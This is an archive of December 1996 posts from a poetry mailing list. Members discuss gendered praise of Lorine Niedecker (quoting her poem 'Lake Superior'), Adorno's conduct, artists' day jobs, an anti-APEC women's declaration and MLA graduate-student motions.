> "We are in the presence of a poet whose peers are the Lady Ono Komachi and
> Sappho. Few others come to mind."

>
> This is kind of shocking, yes? How do things like this happen?
>

My edition doesn't have this text. It's a North Point book. There's a picture of her standing in snow. On the inside flap we do have a few men, notably Basil Bunting, using the "p" word. I suppose there's only one way to respond to gender being raised when "rating her status" among twentieth century poets; with a poem!

Anyone who thinks this is gender-specific writing isn't reading the words:

==========
=+= Lake Superior =+=
by Lorine Neidecker

In every part of every living thing
is stuff that once was rock

In blood the minerals
of the rock

Iron the common element of earth
in rocks and freighters

Sault Sainte Marie -- big boats
coal-black and iron-ore-red
topped with what white castlework

The waters working together
internationally
Gulls playing both sides

Radisson:
'a laborinth of pleasure'
this world of the Lake

Long hair, long gun

Fingernails pulled out
by Mohawks

_(The long
canoes)_

'Birch Bark
and white Seder
for the ribs'

Through all this granite land
the sign of the cross

Beauty: impurities in the rock

And at the blue ice superior spot
priest-robed Marquette grazed
azoic rock, hornblende granite
basalt the common dark
in all the Earth

And his bones of such is coral
raised up out of his grave
were sunned and birch bark-floated
to the straits

Joliet

Entered the Mississippi
Found there the paddlebill catfish
come down from The Age of Fishes

At Hudson Bay he conversed in latin
with an Englishman

To Labrador and back to vanish
His funeral gratis -- he'd played
Quebec's Cathedral organ
so many winters

Ruby of corundum
lapis lazuli
from changing limestone
glow-apricot red-brown
carnelian sand

Greek named
Exodus-antique
kicked up in America's
Northwest
you have been in my mind
between my toes
agate

Wild Pigeon

Did not man
maimed by no
stone-fall

mash the cobalt
    and carnelian
        of that bird

Schoolcraft left the Soo -- canoes
US pennants, masts, sails
chanting canoeman, barge
soldiers -- for Minnesota

Their South Shore journey
    as if Life's --
The Chocolate River
    The Laughing Fish
and The River of the Dead

Passed peaks of volcanic thrust
Hornblende in massed granite
Wave-cut Cambrian rock
painted by soluble mineral oxides
wave-washed and the rains
did their work and a green
running as from copper

Sea-roaring caverns --
Chippewas threw deermeat
to the savage maws
'_Voyageurs_ crossed themselves
tossed a twist of tobacco in'

    Inland then
beside the great granite
gneiss and schists

to the redolent pondy lakes'
lilies, flag and Indian reed
'through which we successfully
            passed'

The smooth black stone
I picked up in true source park
    the leaf beside it
once was a stone

Why should we hurry
    home

I'm sorry to have missed
    Sand Lake
My dear one tells me
    we did not
We watched a gopher there

↑ Index

426. **amato**
Re: Wild taste
Sun 15 Dec 1996

---

yep, with jeremy on powers' _galatea 2.2_... in fact let me just say that anything the guy writes is worth having a look at, he's really quite remarkable... word has it he has a new novel (his sixth) coming out in the next year...

joe

↑ Index

427. **Gabrielle Welford**
[asia-apec 270] IWCA declaration (fwd)
Sun 15 Dec 1996

---------- Forwarded message ----------
Date: Tue, 10 Dec 1996 17:34:48 +0800 (HKT)
From: kakammpi <[redacted]>
Reply-To: [redacted]
To: [redacted]
Subject: [asia-apec 270] IWCA declaration

Statement of the International Women's Conference on APEC
Shalom Center, Manila, Philippines, 15-16 November 1996

ASIA-PACIFIC WOMEN REJECT APEC AND CALL FOR A PEOPLE-TO-PEOPLE COOPERATION

We, the women of Asia and the Pacific Rim, reject APEC because the free trade policies it promotes blatantly lead to the violation of people's human rights, loss of democracy and social justice, environmental degradation and increased impoverishment of peoples.

In the name of trade liberalization, our governments have put the interests of transnational corporations (TNCs) and international financial institutions at the expense of the interests of people. Economic growth has created more inequalities within the countries, and between countries, as a result of profit-oriented and investment-led policies. Corporations have pursued cheap labor

within the region and the use of unfree migrant labor has increased dramatically. This pattern of economic growth is unsustainable and has left environmental devastation in its wake.

APEC will only exacerbate this situation and cause the further marginalization of peoples, particularly women and children.

The indiscriminate opening up of the economy will heighten unfair competition, benefit only those who monopolize capital and technology, marginalize the poor and accelerate the depletion of natural resources.

As a result of trade liberalization, we see large-scale, capital intensive agroculture, monocropping and changing land use patterns. This has tightened monopoly control of transnational corporations and their practices of double standards which in turn have caused the people's loss of control over basic resources such as land, seed and plant varieties, and fuel.

Through these trade policies, developing countries are obligated to allow the unrestricted importation of subsidized and cheap food products and thereby discouraging domestic food production and continue to be subjected to impositions regarding tariff reduction on the small countries.

This has discouraged massive and rapid conversion of agricultural lands devoted or suitable to food production to non-agricultural or non-food production uses.

As a result, we are faced by food insecurity and deleterious changing patterns of food consumption among our peoples.

Contrary to the general notion that trade liberalization and competition will open more factories, and create more jobs, we are now looking at massive unemployment and underemployment especially among women and the increased exploitation in the informal sector.

Massive displacements because of land conversion and development aggression continue to force our people to migrate to urban centers or to other countries. Massive homelessness and migration have destroyed communities and families, destroying the skills and knowledge base of peoples.

In every country, women are the poorest of the poor. Women are carrying the brunt of free trade policies which have had a devastating impact on women's rights. The loss of livelihoods and decreasing control over resources are inccreasing women's marginalization.

Unemployment and underemployment of women are forcing many of them into prostitution, even as the horrendous poverty of women and their families has led to an explosion in the trafficking in and sexual slavery of women. As migrant workers, women's exploitation has been further intensified as receiving

countries have refused to protect their rights as workers making them vulnerable to sexual harassment and increased exploitation. In the name of so-called free markets, governments have destroyed social programs which protect women.

Not one of the governments that are part of APEC have a mandate from their peoples to negotiate anything.

Free trade is bringing about an erosion of democratic rights and the destruction of democratic institutions as governments are becoming more authoritarian and dictatorial. New forms of human rights violations are emerging, and the women of this region unequivocally condemn this agenda.

We call upon our governments to:

1. Ensure women's full participation in policy formulation and decision-making processes. 2. Regulate and control TNCs and international financial institutions (IFIs). 3. Live up to commitments made in the UN conventions, including the following: -Convention on the Elimination of Discrimination Against Women -International Covenant on Economic, Social and Cultural Rights -Beijing Platform for Action -International Convention on the Protection of the Rights of All Migrants Workers and Members of Their Families -International Labor Organization (ILO) Conventions on Labor Standards -International Covenant on Civil and Political Rights -Convention Against Torture and Other Cruel, Inhuman or Degrading Treatment or Punishment -International Convention on All Forms of Racial Discrimination -International Convention on the Suppression and Punishment of the Crime of Apartheid -Convention on the Rights of the Child.

4. Allocate resources for the basic needs of people, such as health care, education, housing and social assistance, especially for women and children and all disadvantaged persons. 5. Promote regional cooperation based on promoting self-sufficiency, capacity building through technology transfer, information flow and special courses. 6. Stop demolitions, ensure proper relocation in cases where it cannot be avoided and generate more jobs for urban poor dwellers. 7. Recognize women's role and contributions in safeguarding the environment, including the conservation of local plant varieties. 8. Provide adequate employment locally with decent living wages to discourage labor outmigration. Governments of receiving countries should provide crisis centers for migrant workers. 9. Make food security a priority, ensuring the food needs of peoples and immediately stop the dumping of cheap food that is detrimental to local food production. 10. Subsidize and suppport efforts for sustainable agriculture, stop land conversion and enact or implement land use laws, and provide suppport services to small farmers, particularly women farmers. Furthermore, ensure fair prices for farmers' produce.

Henceforth, we call upon NGOs and people's movements to:

1. Develop people's alternative structures of fair trade. 2. Undertake campaigns to raise awareness, and to mobilize and organize peoples movements against APEC. 3. Initiate and strengthen links between and among women, indigenous and aboriginal peoples, trade unions and migrant workers organizations. 4. Respond to urgent alert actions for migrant women and women workers and victims of human rights violations. 5. Make the struggle for women's equality a priority agenda. 6. Call upon trade unions to include organizations of workers in the informal sector. 7. Hold the TNCs accountable for the social and environmental impact of their operations.

We call on all governments, peoples' organizations, non-government organizations to unite in resisting and rejecting APEC.

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428. Gabrielle Welford
signing off for now
Sun 15 Dec 1996

Hey all. I'm on my travels till Jan 11 and will be signing off from Poetics for a while. See a bunch of yas in DC I hope. I'mn having a wonderful New Mexico time with old friends right now. It is a blessed rest. Have a wonderful holiday. gab.

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429. Loss Glazier
Lit OnLion
Sun 15 Dec 1996

LION is Chadwyck-Healey's attempt at a MASSIVE database in literature. (Up to the 20th century that is.) It includes English and American Poetry, African-American Literature, much more. Anyway, you should read about it by visiting their web page. It's potentially an important research/teaching resource for some folks. It's the EPC featured link of the week also available in EPC's Connects page.

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430. Tosh
Re: Lit OnLion
Sun 15 Dec 1996

> *LION is Chadwyck-Healey's attempt at a MASSIVE database in literature. (Up to the 20th century that is.) It includes English and*

> *American Poetry, African-American Literature, much more. Anyway, you should read about it by visiting their web page. It's potentially an important research/teaching resource for some folks. It's the EPC featured link of the week also available in EPC's Connects page.*

WHAT IS THE ADDRESS FOR THIS SITE?

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431. **maz881**
Re: computers, academies, slavery
Sun 15 Dec 1996

Hi Mark. thanks for asking about my job. my title is tools manager. I enable sales professionals & proposal writers to sell computer outsourcing services to large corporations. I program & maintain a database of company information. of sorts I am a publisher.

I am a reluctant to use the word slave to describe myself. people do not inspect my teeth at job interviews. what they do inspect however may be just as heinous.

Mark you teach. i imagine my job to be less "free" than yours (but i don't know what your title is). you also have a utopian element that you can claim i.e. blowing up the normative brain.

& i think you are right when you say that artists not in the academe have a tendency to think they have made better economic choices because then they think they can call themselves real artists. we're not academic artists! we do! we do not teach! we generate/demonstrate a body of knowledge "about" the world: physics & biology. (you can define about any way you like.)

real critics are supposed to generate/demonstrate a body of knowledge about canonical texts categorized in certain time periods and/or geographical locations and/or identity plates.

real critics use a different energy/brain wave to generate their work than real artists.

real artists don't need to look at art or writing to generate their work. real critics do. real artists see themselves out ahead of real critics.

then there is the artist critic, like yourself. you must flip back & forth between these modes if you want to get paid. when you are doing art you feel guilty for not doing enough critical work. when you are doing critical work you feel guilty for not doing enough art. this flipping has caused some artist/critics to make bad art. grad school & tenure have been known to kill the creativity of not a few good artists (not to mention good critics). however, this says nothing about what can be done.

i think i used the phrase "clearer, not better" in your presence to describe the econmic reality of real artists. that is, clearer in relation to artist/critics, but not better. I said this in response to your remark about working as a journalist and how you had to lie so much. what i thought was implicit in your statement and what I objected to was that, now that you were no longer a journalist, but a teacher, you didn't have to lie, or at least didn't have to lie as much. I may agree with the last clause and secretly i will tell you that flipping and cloudniess have always been more appealing concepts to me than clarity & I love the opportunies I get at my corporate job to teach writing, even if it is sales rhetoric. actually, sales rhetoric is metaphorically based on seduction, so it has its moments.

the clarity of the real artist causes a loss of dignity if corporate. the real artist must schelp & stay put, doesn't have free time to go to gatherings, doesn't have summers off like most academes.

the real artist may have more flexibility in terms of where to live.

but I belive these things all balance out, you do what you have to do, you either make good art or bad art and it really doesn't depend much on your job. I assume that this little note has excluded those poeple who do not have to work. I wonder how many trust fund babies would like to talk about their experiences? Or put another way: do you make better art if you don't have to work? or are on unemployment, etc. I mean I am annoyed at the present age when compared to the myth of artists in the 60s who could supposedly survive without permanent corporate or academic employment. For example, when you hear people talk about Bolinas. Then also I have left out the working class, for example Robert Kocik, who works in wood.

Bill

Date: Thu, 12 Dec 1996 15:20:09 -0500
From: Mark Wallace <[redacted]>
Subject: computers, academies, slavery

I've noticed that with all this recent discussion of poets who work in the academy analyzing the academy, and poets who work in the computer field analyzing the academy, that these same poets haven't been discussing the computer industry.

So--Tom, Ron (Bill Luoma maybe too, right?), a question for you. While in many instances I agree with your critique of the academy (I know a slave when I am one), there's seems to be in your posts the suggestion that your own choices regarding economic matters and survival have been better ones. So, tell us about the computer industry. You're not slaves there, I take it? Or at least not

slaves to the same degree? I'd be curious to know how your own industry affects your creative life. Why is that choice working for you, if it is? We're NOT talking about the difference between slaves and slave owners, right? Is opportunity there, where you are? For whom?

Please excuse the inability of this modem to "correct" "errors."

Mark Wallace

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432. **Judy Roitman**
Re: patr-iarchy/onization
Sun 15 Dec 1996

> *yes judy i see what you mean about no 20th century comparisons for niedecker--but then again corman lives in japan and may not see any worthy comparisons in terms of style or point of view or whatever except from other times and places?*
>
> *burt*

This is the second time that a possible misunderstanding has arisen. Let me be very clear that the blurbs I quoted were not by Corman. Corman was the editor.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

433. **Diane Marie Ward**
Re: Lit OnLion
Sun 15 Dec 1996

The URL for the amazing Chadwyck Healey site Loss was describing is: http://lion.chadwyck.com/

On Sun, 15 Dec 1996, Tosh wrote:

> *LION is Chadwyck-Healey's attempt at a MASSIVE database in literature. (Up to the 20th century that is.) It includes English and American Poetry, African-American Literature, much more. Anyway, you should read about it by visiting their web page. It's potentially an important research/teaching resource for some folks. It's the EPC featured link of the week also available in EPC's Connects page.*

> *WHAT IS THE ADDRESS FOR THIS SITE?*

Diane Ward
[redacted]
State University of New York at Buffalo

THE AESTHETE'S LIST : http://www.acsu.buffalo.edu/~dward/

"I dreamt I dwelt in marble halls,
And woke to find it true;
I wasn't born for an age like this;
Was Smith, Was Jones, Were you?" -- George Orwell

↑ Index

434. Kathrine Varnes
Re: patr-iarchy/onization
Sun 15 Dec 1996

Reading this thread, I keep thinking of how angry Elizabeth Bishop would be when reports on her readings would say that she looked just like somebody's grandmother -- and how this just didn't happen to her male contemporaries -- we might compare Whitman to Father Time, but never to gramps.

For me, the issue is, okay, LN is one the finest poets writing. Why not just leave it at that? Surely that's enough praise. But maybe part of the agenda here is that there can only be one "female" at a time. She's one of the finest, of which there's only one gal. So I see and share in what led to Judy Roitman's original post. I've just been reading reviews in the 60s and 70s that do the exact same thing -- complete with ample deployment of the adjective "domestic," which is, let's face it, completely useless and often wrong. Have you ever seen a blurb read: "One of the best male poets writing today"? That's a book I'd love to see.

Kathrine

On Sat, 14 Dec 1996, Burt Kimmelman -@NJIT wrote:

> *"Because the Woman Poet category is trivializing": Okay, but maybe in the early 80s. . . . no, never mind that. . . . i guess my point is that LN can be usefully read, especially in her "domestic" poems, as putting forth a distinctly woman's view of the world, of men, of women . . . .*
>
> *I see your point and agree with you, but isn't also true that Corman placed her among all poets first and only then among women poets second.*
>
> *Am I just "not getting it"?*

> *burt*

↑ Index

435. **amato**
Re: patr-iarchy/onization
Sun 15 Dec 1996

---

yeah, i too can most def. see judy's beef relative to those neidecker blurbs...

i was wondering: i blurbed a book recently, the first full-length history of computers & writing, and called specific attention to the fact that this book (authored by two women and two men) made it clear that women's roles have been vital to this techno-laced field... my purpose was clearly not to delimit my positive appraisal of the book, but to use the opportunity to point to a particular gendering where i thought it might do some good... i recall trying like hell when i wrote that blurb not to sound condescending, but i suppose somebody might still find my observation so...

joe

↑ Index

436. **mgk3k**
Re: Response to Mark (et al)
Sun 15 Dec 1996

Graduate Student Caucus Motions and Resolution submitted to MLA

I posted this here about a week ago, and it went without comment. I'm hopeful that that means it was generally read, and perhaps approved of and filed away for future reference. But in case it was overlooked -- and this was also while the listserv was hicupping -- I'm reposting apropos of recent discussion by Joe, David, and others. These actions by the Graduate Student Caucus account for nearly half of the MLA Delegate Assembly's agenda at the upcoming convention. They're certainly only the beginning of what needs to be done, but the resolution in particular represents an attempt to move MLA in the activist direction also called for by C. Nelson in his _Profession_ piece.

Please consider attending the Delegate Assembly meetings (sessions 178 and 432) and feel free to forward as appropriate. Those who'd like more information about the GSC may contact me or its current President, Marc Bousquet <[redacted]>.

Apologies to those here for whom these matters are not especially relevant.

--Matt (GSC VP for Policy)

Drafted by the Steering Committee of the Graduate Student Caucus of the MLA:

> *October 15, 1996. The Graduate Student Caucus respectfully submits the following motions to the Delegate Assembly:*
>
> *1) Staffing patterns--Standards*
>
> *Whereas the proportion of part-time teachers in the academy has accelerated to unacceptable levels over the past two decades, and*
>
> *Whereas language and literature departments have been particularly vulnerable in this regard, and*
>
> *Whereas this trend threatens academic freedom, faculty self-governance, democratic access to the profession, reduces opportunity for student-faculty interaction, and disables the production of new knowledge in the discipline,*
>
> *We move that the Committee on Professional Employment determine minimum standards of acceptable full time/part time ratios by various instititional circumstances, and report those standards by the next convention.*
>
> *Motion 2 Staffing Patterns--Accreditation*
>
> *We move that MLA direct substantial efforts to convincing accreditation agencies that educationally sound full-time/part-time faculty ratios (measured on a department-by-department basis) should be a determining factor in the accreditation process.*
>
> *Motion 3. Public Relations.*
>
> *Whereas working conditions in the academy are directly affected by social policy, and*
>
> *Whereas MLA already devotes resources to public relations,*
>
> *We move that MLA direct substantial public relations resources toward the immediate task of making the public aware of the educational advantages of reconverting part-time work to full-time jobs.*
>
> *Motion 4. Representation.*
>
> *Whereas MLA has recently acted to provide proportional representation for graduate students in the Delegate Assembly (MLA Constitution X.3),*

Whereas the principle of "fair representation" in the Executive Council is already established with respect to the variety of modern languages represented by the membership (MLA Constitution VII.7 and VIII.5), and

Whereas graduate students and adjunct faculty do more than forty percent of all higher education teaching,

We move that MLA extend the principles of fair and proportional representation to the Executive Council and standing committees of the association to include graduate students and adjunct faculty in proportion to their membership in the association.

[motions revised November 19th] MORE-Resolution revisions follow below

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October 15, 1996. The Graduate Student Caucus respectfully submits the following resolution to the Delegate Assembly:

RESOLUTION:

Whereas the increasing exploitation of graduate student and adjunct labor threatens the academic employment futures of at least one third of the Association's present membership (and all of its future membership), and

Whereas the law represents an important instrument in shaping staffing patterns in higher education, both through funding initiatives (such as California's 1988 act AB 1725, which provides incentives for community colleges to move toward a staffing pattern of 75% full-time instructors), and labor-equity decisions (such as recent decisions at the state and federal level determining the right of graduate employees at both public and private universities to collective bargaining),

Be it resolved that MLA take the lead in working with other disciplinary and higher-education groups in encouraging legislative and policy bodies at the national or state level to adopt and fund initiatives which would provide for labor equity in graduate-employee and adjunct work, and provide incentives for higher-education institutions to begin reductions in their reliance upon such labor.

[revised November 19th]

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437. Ron Silliman
Granite Blurbs
Sun 15 Dec 1996

I don't own the '85 edition of Granite Pail, but I do own the 1969 Jargon Press edition of T&G (The Collected Poems...) where the second of those blurbs occurs, penned in fact by Jonathon Williams, the publisher. In that edition at least, the paragraph begins "Lorine Niedecker is the most absolute poetess since Emily Dickenson."

Well, there are ways in which the 1960s are remarkably a long time ago, right?

Williams, it's worth noting, was one of the first poets (and especially first southern poets) to be aggressively and politically out of the closet. But there is a certain plantation tone to his anglophilia and it creeps into other discourses, as here.

By the bye, if the younger folks on this list haven't read Williams work, the early books in particular are totally worth reading in their own right. I recall not "getting" the work of Clark Coolidge until Barrett Watten noted the sense of humor in it, which BW saw as the influence jointly of Whalen and Williams. And it's true.

Ron Silliman

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438. Dorulet D Ana
Friday December 20, 1996 at 8 p. m.
Sun 15 Dec 1996

Open Forum For The Arts
Friday December 20, 1996 at 8 p. m.
152 Mercer Street - 4th floor (between Hudson & Prince Street)
Admission by invitation only
call [redacted] or [redacted]

The Rift literary magazine in conjunction with Midnight Sonata Productions Inc. presents Open Forum For The Arts featuring Theatrical Performances, Music, Painting and Sculpture, Photography and Film, Poetry reading, Storytelling, Fashion Show, Demonstrations, Networking and more. Open to all Scheduling of storytellers, poetry readers and acoustic musicians will take place that evening. All other performers and artists NEED TO CONTACT The Rift at [redacted] prior to December 16, for scheduling and set-up details. --------- End forwarded message ----------

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439. **duane davis**
Re: Adorno and Mandel
Sun 15 Dec 1996

It would seem difficult to reply effectively (though Jeremy Green had done very well indeed) to Tom Mandel's posts re: T.Adorno, not because there are not useful things to say but because Mandel wants to cut the ground out from beneath any reaction but his own: *I don't, either, want to be drawn into a debate on the subject or related subjects or on Adorno's work. I don't have anything useful to say about it.* Nor am I sure that gaining tenure on whatever planet means that a person can opt out of taking responsibility for one's statements and beliefs. One may, as Mandel points out, believe whatever one wishes; once that belief is shared with others in a forum such as this there is an implied expectation that the belief has some relevence and can be backed up.

Mandel takes care to point out that his attack is not directed at the work; it is Adorno himself, his life, that is at issue (though he allows himself the luxury of crossing that line by dismissing what he has read by Adorno as *monumentally self-aggrandizing*). This is disingenuous at best. It is very doubtful that anyone would be discussing Adorno, Heidegger or Arendt for that matter were it not for their written works. Whether or not Adorno was a *toad* is, as Mandel notes, most likely a matter of personal opinion; Adorno's place in the critical thought of the 20th century is far more complex.

Susan Buck-Morss treated the Adorno character issue in her book, The Origin of Negative Dialectics (published in 1977). Her treatment is more circumspect though more adequately documented (perhaps she did not yet have tenure on one of the available planets). She quotes from an Oct 7, 1934 letter where Adorno wrote (he had left Germany in the Spring of the same year) that he *was trying to stay in Germany at all costs...* and that if he had been able to stay in Germany he *would have had no political objection...* (These are quotes from the letter.)

There is no doubt that Adorno's position here is foolish and wrong. Blinded by his hopes for his own advancement and by an exadggerated sense of his own abilities, accomplishments and self-importance, he minimizes the dangers both he himself and others were facing at the time. Some of this he justifies by a misplaced hope that Hitler would fall from power before more harm was done.

He was wrong.

He was wrong and he went on to write brilliantly of modern culture.

Granted, intelligence on paper is not a guarantee of intelligence in life; I doubt that any of us would care for a detailed chart of correspondence to be drawn up between the two for our own lives. All criticism, as has been said many times

before, may be autobiography; it is seldom, however, intended as autobiography. Adorno may not have addressed in his writing what was most shameful in his own life, but he did, quite consistently, address what he believed to be most important to that life and to ours.

Tom Mandel's pain is evident in his posts and it is clear that he believes it is important to remember who we are and where we have come from. So do I but at the risk of sounding a bit churlish, I feel there is a larger issue here than Tom's pain: if Adorno has written himself into a room I believe that would be a very big room, on the order, perhaps, of a good chunk of the world we inhabit. I, for one, appreciate and am grateful for Adorno's unflinching, admittedly mandarin, descriptions of that world in Dialectic of Enlightenment, Negative Dialectics and the essays in Prisms. I have owned and operated a record store in Denver CO for over eighteen years and feel that Adorno's writing on music, most esp in the Philosophy of Music, speaks powerfully and cogently to the complex relations between aesthetics and the social and cultural reproduction of experience (& this would include his remarks on jazz -- but more of that in another post).

This is already too long and may try your patience. I would, in closing, urge people to read Adorno for themselves. What he has to say is vital, living and important. Tom Mandel may believe that while reading someone we should be prepared to pick them out of a line-up and look over their rap sheet but words are not that easy to jail.

Duane Davis

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440. George Bowering

Re: patr-iarchy/onization

Mon 16 Dec 1996

> *Have you ever seen a blurb read:*
> *"One of the best male poets writing today"? That's a book I'd love to see.*
>
> *Kathrine*

Once, some years ago, Allen Ginsberg said that Victor Coleman and i were the best two heterosexual poets in Canada. I was pleased. I dont mind being called one of the best of anything.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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441. **9448721p**
Re: Art + Language
Mon 16 Dec 1996

Now that I`ve checked, the founder members of A&L were David Bainbridge, Harold Hurrell, Michael Baldwin and Terry Atkinson in `68. Charles Harrison didn`t join `til `71.

Barrett Watten`s TOTAL SYNTAX has an interesting essay on the group.

Their own writings are, defiantly, in the most desiccated tradition of Anglo-Saxon analytic philosophy - out of date even at the time, virtually unreadable now.

robin

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442. **Michael Heller**
Re: Niedecker
Mon 16 Dec 1996

To all on the list, may I recommend LORINE NIEDECKER: WOMAN AND POET, edited by Jenny Penberthy, National Poetry Foundation, University of Maine at Orono. Available in both cloth and paper. Published a few months ago.

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443. **tmandel**
Jeremy on me on Adorno
Mon 16 Dec 1996

The name change: I'm pretty sure the review was published under Wiesengrund (which, btw, I don't identify as a common Jewish name -- any help on this?), under Wiesengrund-Adorno, that is.

The name change coming in 1938 by no means eliminates the possible intention of burying a Jewish past (or, indeed, it may be a German past which the change wishes to obscure!)

"Tom's earlier messages seemed to me to indicate that the review and letter made the whole of Adorno's work trivial, toadish and self-aggrandizing."

Can't argue with "seemed to me" but that was not my intention. Adorno is a problem and not a "trivial" one. The epithet "toad" was meant as the insult it is but not as a reference to any characteristic of the work. "Self-aggrandizing" -- now that is an interesting question, especially given Adorno's pessimism about reason, indeed his general pessimism. It would be interesting to discuss the possible relationship between these two. How can someone deeply pessimistic (and I don't think it is necessary to challenge this in his work: i.e. I don't see it as a guise or ruse or even an embedded sub-textual narrative device) also write in a way that so evidently displays his virtuosity and so evidently drives to a "right" position that is to be identified totally with the author?

To me pessimism becomes interesting in people and their writings where it is poised against a countering optimism. Kafka is an emblematic example of this kind of writer, and one could name others too. Indeed, Benjamin is a wonderful example as well.

(I'm writing quickly here, btw, as I have a full day ahead of me and must leave for a meeting in a few minutes: the terms "pessimism" and "optimism" are markers in this post for a range of qualities of writing and thought -- a Virgilian sadness of things, a musical joy, black humor, and much more I don't have time - and probably don't need - to unpack here.)

As to an unalloyed pessimism, and this is mere hypothesis, at what point does it, or even must it (must it?), blend into cynicism? What replaces the value you find it hard to see in reason or in life?

Adorno and his work, far from trivial, might offer a locus for thinking about these issues.

Above all, I think, it might be fascinating to compare Adorno with a figure like Lukacs, who bent his view and expressions and work to meet the needs and strictures of political history. Yet, when we look at his work in retrospect, there is an integrity to it and a constant obsession with a set of themes that seem deeply central in European history. His adaptability in other words now appears to be a way of cleaving to the essential. Just some thoughts in anticipation of yours.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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444. Burt Kimmelman
Re: patr-iarchy/onization
Mon 16 Dec 1996

---

judy,

who wrote the blurbs?

burt

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445. Herb Levy
Burt Bacharach redux
Mon 16 Dec 1996

I was going through the West while Western movies were a hot topic here, so I didn't join in on the threads.

I don't want to go over old ground here, but 'cause there was high praise for Burt Bacharach's music for Westerns, I thought some folks might want to know there's a forthcoming 2-CD set on John Zorn's Tzadik label, in the Radical Jewish Culture series called Burt Bacharach: Great Jewish Music.

I don't know more about it now, but I'd guess it'll be out later this winter.

Bests

Herb Levy
[redacted]

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446. Peter Quartermain
Re: Quartermain/Oppen
Mon 16 Dec 1996

Dear Stephen Vincent:

Yours is a very interesting letter indeed (and I'm appending it as a reminder for those who, like me, have e-mail-overload-amnesia). What I had in mind in saying that male writers as a rule ignored the work of younger (feminist?) women's writing, was the simple fact you allude to of various male-dominated poetry groups with their house-woman token member, eg the NY School or the (amorphous, nowadays) Beats for sure but not uniquely. Various male poets were quick to review and/or take under their wing young and more or less unknown men poets, but paid no attention to women writers at all. Rattle off

the names of any and all of the established male writers / poets / critics of the sixties and seventies, and their silence when faced with -- well, with Niedecker, let alone Judy Grahn -- is predictably deafening. My sense is still that Oppen was to all intents and purposes the ONLY white male writer *of his generation* to heed writing by younger women. That the Bay Area was extremely active is true, yes, and I'm sorry if my quick shorthand summary (and my talk) is misleading. Oppen's interest dates from his residence in Brooklyn, however,in 1960 or so (this is diffciult to establish, since there is (necessarily) not much information for the years 1960-1962 in the Letters (he was, clearly, reading Levertov then; but who else, I wonder). He's reading Naomi Replanski (not, perhaps, to be classed as a younger poet then, but who else is reading her at that time? or even now? and she's a really interesting writer) in 1958; DuPlessis in 1965, and so on. I guess if we want to discuss this further we should go backchannel.

My essential point, I think, still holds, but of course, as for my ignorance, mea culpa..

Which means, yes, I was wrong; and I'm really pleased to be corrected. Guilty of oversimplification and thus injustice (if that's at issue), I do indeed know of Momo's Press, in that I've used one of its publications (Dahlen's A Reading 1-7) in poetry courses, but knew NOTHING about the press, assumed it was and still is run by women -- (but any mail I sent there was returned by the post office as undeliverable. So your letter is useful and fills in a much-to-be-filled-in gap.

This is especially so regarding _Shocks_ which I'd never heard of -- I am now trying to get hold of copies -- difficult in Vancouver (NO copies in any library here that I can find), and of course Canadian funds being what they are, no library is likely to buy any copies anyway.

Thanks.

Peter

At 05:43 PM 12/12/96 -0500,Stephen Vincent wrote:
>Dear Peter Quartermain,
>Unfortunately I had to miss your talk at the Poetry Center - but, indeed
>congratultions on the swelling of attention the subject it has caused!
>I was drawn to your post in which you suggest something to the effect that
>George was unique - with the exception of some gay men - in his interest in
>work by young women - feminists - in the early seventies. (Your post
>disappeared but I think that's a fair approximation of what you suggested?)
>
>I think that remark really mis-reads the condition of poetry in the Bay Area
>in the late sixties and early seventies. I want to assume you are familiar
>with Momo's Press(??) of which I - who am not gay - was the publisher. It was

>a very robust period - especially in terms of the writing that emerged with
>the quite wild emergence of various and often angry liberations (feminist,
>gay men, lesbians, Latino, Black, Asian, etc.) It was a prolific period in
>terms of large public readings, magazines and books. My magazine Shocks
was
>partly so named on account of all the friction in the air and sought to
>critically make some sense of it. Momo's as you might know published first
>books of Beverly Dahlen and Jessica Hagedorn. Across the Bay, Shameless
Hussy
>and The Women's Press collective were publishing first books of Alta, Ntozake
>and Judy Grahn among others. The new writers made no bones about
centering a
>new politics within the practice of the poem. For women poets who had been
>shaped by a male dominated anarchist or apolitical poetics , or those who had
>been involved with a male-dominated-with-queen-attached matrix (New York
>school?) - the cross over into an activist poetry that directly challenged a
>variety of social constructs was a dangerous thing to do.
>Oppen - who in I my awareness of him made it part of his life to attend to
>the young and what was going on - was highly attentive and naturally
>responsive to the unrest. I think it would have been quite unlike him to have
>remained oblivious. (He once complimented me in letter of thanks for sending
>him an issue of Shocks as indeed "shocking"). Indeed I believe he was
> challenged - and perhaps to a degree threatened by the vigor of what was
>taking place. Intellectually - as a secular and progressive pluralist - I
>suspect he was all for it. Emotionally I suspect it probably felt dangerous
>to him and the world of male centered modernism of which he was still in the
>weave. But as a responsible elder, one who had partly been put back on the
>map by the young, I think he didn't shy, "rightly or wrongly", from the
>paternal role of taking part.
>
>I don't know if you ever read the final "Poetry Reading" issue of Shocks
>#7-8-9 - about 350 pages long - it includes my own account of readings in the
>Bay Area from the early sixties into the mid-seventies, as well as accounts
>by Frances Jaffer, Jessica Hagedorn and Thulani Davis. If you haven't, I
>think it would help fill out the context of this period of Oppen's life.
>SPD still has a copies of The Poetry Reading - I'm personally down to a
>couple. If you are further interested in other issues of Shocks and the
>history of Momo's Press, the Bancroft Library possesses the entire archive.
>I look forward to going out to the Poetry Center to see you on tape. & I hope
>anything I have said here is - out of not being at your talk - not said
>wrongly, or in ignornace
>Cheers,

>Stephen Vincent
>[redacted]
>
>P.S. I would also like to add that in addition to George's interest, there
>were poets, of which I would include myself, who were neither gay, women, or
>persons of color who were actively responding to and shaped by the events at
>hand (Ron Silliman, for one).
>
>

+ +
Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]
+ +

↑ Index

447. Kathrine Varnes
Re: patr-iarchy/onization
Mon 16 Dec 1996

> *Have you ever seen a blurb read:*
> *"One of the best male poets writing today"? That's a book I'd love to see.*
>
> *Kathrine*
>
> *Once, some years ago, Allen Ginsberg said that Victor Coleman and i were the best two heterosexual poets in Canada. I was pleased. I dont mind being called one of the best of anything.>*
>
> *George Bowering.*

